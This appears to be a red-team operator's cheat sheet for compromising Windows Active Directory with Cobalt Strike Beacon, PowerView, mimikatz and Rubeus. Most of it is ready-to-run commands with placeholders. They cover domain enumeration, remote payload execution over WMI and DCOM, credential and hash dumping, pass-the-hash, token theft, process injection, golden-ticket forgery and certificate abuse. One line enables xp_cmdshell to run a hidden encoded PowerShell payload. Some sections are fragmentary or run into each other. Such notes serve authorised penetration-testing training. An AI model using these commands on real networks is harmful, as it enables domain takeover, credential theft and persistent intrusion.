# Get Domains for enterprise
powershell Get-Domain
# Get Domain Controllers
powershell Get-DomainController | select Forest, Name, OSVersion | fl
# Get Forests
powershell Get-ForestDomain
# Get domain policy
powershell Get-DomainPolicyData | select -ExpandProperty SystemAccess
# Get all the users
powershell Get-DomainUser
# Get Specific Domain User Properties
powershell Get-DomainUser -Identity <USER> -Properties DisplayName, MemberOf | fl
# Get Domain Computers (DNS Names)
powershell Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName
# Get Domain OUs
powershell Get-DomainOU -Properties Name | sort -Property Name
# Get Domain Groups
powershell Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName
# Get Domain Group Members
powershell Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName
# Get GPOs
powershell Get-DomainGPO -Properties DisplayName | sort -Property DisplayName
# Get Workstation GPOs
powershell Get-DomainGPO -ComputerIdentity <WORKSTATION> -Properties DisplayName | sort -Property DisplayName
# Get GPOs that modify local groups membership
powershell Get-DomainGPOLocalGroup
# Get where user/group is member of specific local group
powershell Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
# Get where logged on
powershell Find-DomainUserLocation | select UserName, SessionFromName
# Get current logged on sessions
powershell Get-NetSession -ComputerName <COMPUTERNAME> | select CName, UserName
# Get domain trusts
powershell Get-DomainTrust
Lateral Movement
Testing access
ls \\<HOSTNAME>\c$
Pivot Listeners
To start a Pivot Listener on an existing Beacon, right-click it and select Pivoting > Listener. Once started, your selected port will be bound on that machine.
run netstat -anp tcp
things to keep in mind:
If port 445 is closed on the target, you can't use SMB listeners.
If the target firewall doesn't allow arbitrary ports inbound, you can't use TCP listeners.
If the current machine doesn't allow arbitrary ports inbound, you can't use Pivot listeners. but if you have admin access on the target, you can change what ports are allowed.
cd \\<TARGET HOST>\ADMIN$
upload <PATH TO PAYLOAD ON ATTACK COMPUTER>
remote-exec wmi <TARGET HOST> <PATH TO PAYLOAD ON TARGET COMPUTER>
link <TARGET HOST>
CoInitializeSecurity
If you get... CoInitializeSecurity already called. Thread token (if there is one) may not get used.
execute-assembly C:\Tools\SharpWMI\SharpWMI.exe action=exec computername=<TARGET> command="<PATH TO PAYLOAD ON TARGET>"
DCOM
powershell-import C:\Tools\Invoke-DCOM.ps1
powershell Invoke-DCOM -ComputerName <TARGET> -Method MMC20.Application -Command <PATH TO PAYLOAD ON TARGET>
link <TARGET HOST>
dump creds
# shorthand method
logonpasswords
# full command with mimi
mimikatz sekurlsa::logonpasswords
# Kerberos encryption keys
mimikatz sekurlsa::ekeys
# SAM Database
mimikatz lsadump::sam
# cached credentials
mimikatz lsadump::cache
After dumping these credentials, go to View > Credentials to see a copy of them.
The aes256_hmac and aes128_hmac (if available) fields are used with Overpass the Hash
Make Token
If we have the plaintext password (provided here), we can use make_token with that information.
make_token <DOMAIN>\<USER> <Password>
Process injection
# List Processes
ps
# inject into target
inject <PID> <x64/x86> <listener-name>
Token Impersonation
# List Processes
ps
# Steal token
steal_token <PID>
SpawnAs
The spawnas command will spawn a new process using the plaintext credentials of another user and inject a Beacon payload into it. This creates a new logon session with the interactive logon type which makes it good for local actions, but also creates a whole user profile on disk if not already present.
# Run from directory current user has access to
spawnas <Domain>\<USER> <PASSWORD> <LISTENER>
PassTheHash
pth <Domain>\<USER> <hash>
It passes the token over a named pipe which Beacon then impersonates automatically.
To avoid the \\.\pipe\ indicator, we can execute Mimikatz manually and specify our own process.
mimikatz sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH
## look for PID in the output
# steal token
steal_token <PID>
Over Pass The Hash
Rubeus allows us to perform opth without needing elevated privileges. The process to follow is:
rportfwd <LOCAL PORT to Listen ON> <Destination IP> <DESTINATION PORT>
# confirm running
run netstat -anp tcp
Beacon also has a rportfwd_local command. Whereas rportfwd will tunnel traffic to the Team Server, rportfwd_local will tunnel the traffic to the machine running the Cobalt Strike client.
# this example just forwards to itself
rportfwd_local 8080 127.0.0.1 8080
NTLM Relay
NTLM Relay with PortBender load driver first
upload C:\Tools\PortBender\WinDivert64.sys
Next, load PortBender.cna from C:\Tools\PortBender - this adds a new PortBender command to the console. Redirect 445 traffic to 8445
The pbData field contains the encrypted data and the guidMasterKey contains the GUID of the key needed to decrypt it. The Master Key information is stored within the user's AppData\Roaming\Microsoft\Protect directory (where S-1-5-21-* is their SID).
ls C:\Users\pickle.rick\AppData\Roaming\Microsoft\Protect\S-1-5-21-<USER SID>
There are a few ways to get the Master Key. If you have access to a high integrity session, run sekurlsa::dpapi
If not you can access it using mimikatz and an exposed RPC service on the DC. Run mimikatz dpapi::masterkey, provide the path to the Master Key information and specify /rpc
Rubeus kerberoast can be used to perform the kerberoasting. Running it without further arguments will roast every account in the domain that has an SPN (excluding krbtgt).
make_token CHILD\USER password
kerberos_ticket_use C:\Users\Administrator\Desktop\cifs-dc.kirbi
ls \\dc-2.child.test.local\c$
S4U2 Abuse
get ticket from target using spoolsample and unconstrained delegation to get a workstation$ TGT Monitor for a specific ticket from a server with unconstrained delegation
open TGS in ASN.1 Editor replace the general string wkstn-2$ to cifs or whatever service you want to impersonate. and add a node underneath with the hex 1b. give that new node a value of the FQDN.
This configuration allows any domain user to request a certificate for any other domain user (including a domain admin), and use it to authenticate to the domain.
Take the private key and certificate. Copy and paste it into Kali and name it cert.pem
The /machine parameter tells Certify to auto-elevate to SYSTEM and assume the identity of the machine account.
Group Policy
This PowerView query will show the Security Identifiers (SIDs) of principals that can create new GPOs in the domain, which can be translated via ConvertFrom-SID.
This query will return any GPO in the domain, where a 4-digit RID has WriteProperty, WriteDacl or WriteOwner. Filtering on a 4-digit RID is a quick way to eliminate the default 5xx results.
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
powershell Get-SQLQuery -Instance "<SERVER>" -Query "SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';"
# A value of **0** shows that xp_cmdshell is disabled. To enable it:
powershell Get-SQLQuery -Instance "<SERVER>" -Query "sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
# download and run payload
powershell Get-SQLQuery -Instance "sql.rto.local,1433" -Query "EXEC xp_cmdshell 'powershell -w hidden -enc <blah>';"
NT Service\MSSQL$SQLEXPRESS, is generally configured with a privilege called SeImpersonatePrivilege. SweetPotato has a collection of these various techniques which can be executed via Beacon's execute-assembly command.
# create golden ticket
mimikatz kerberos::golden /user:Administrator /domain:child.DOMAIN.local /sid:S-1-5-21-<DOMAIN SID> /aes256:<KRBTGT AES HASH> /ticket:golden.kirbi
# use ticket
make_token DEV\Administrator password
# may need to download kirbi onto box if mimikatz was used on compromised host
kerberos_ticket_use C:\Users\Administrator\Desktop\golden.kirbi
# drop golden ticket
rev2self
Forged Certificates Once on a CA, SharpDPAPI can extract the private keys.
Because the trust is inbound from our perspective, it means that principals in our domain can be granted access to resources in the foreign domain. We can enumerate the foreign domain across the trust.
To hop the trust, we need to impersonate a member of this domain group.
If you only have the user's RC4/AES keys, we can still request Kerberos tickets with Rubeus but it's more involved. We need an inter-realm key which Rubeus won't produce for us automatically, so we have to do it manually.
First, we need a TGT for the principal in question. This TGT will come from the current domain.
Once the credentials or sessions is hijacked from a user from outbound.local, tools like PowerView can be used to enumerate the current user, domain, and possibly move laterally (permissions and open ports permitting)
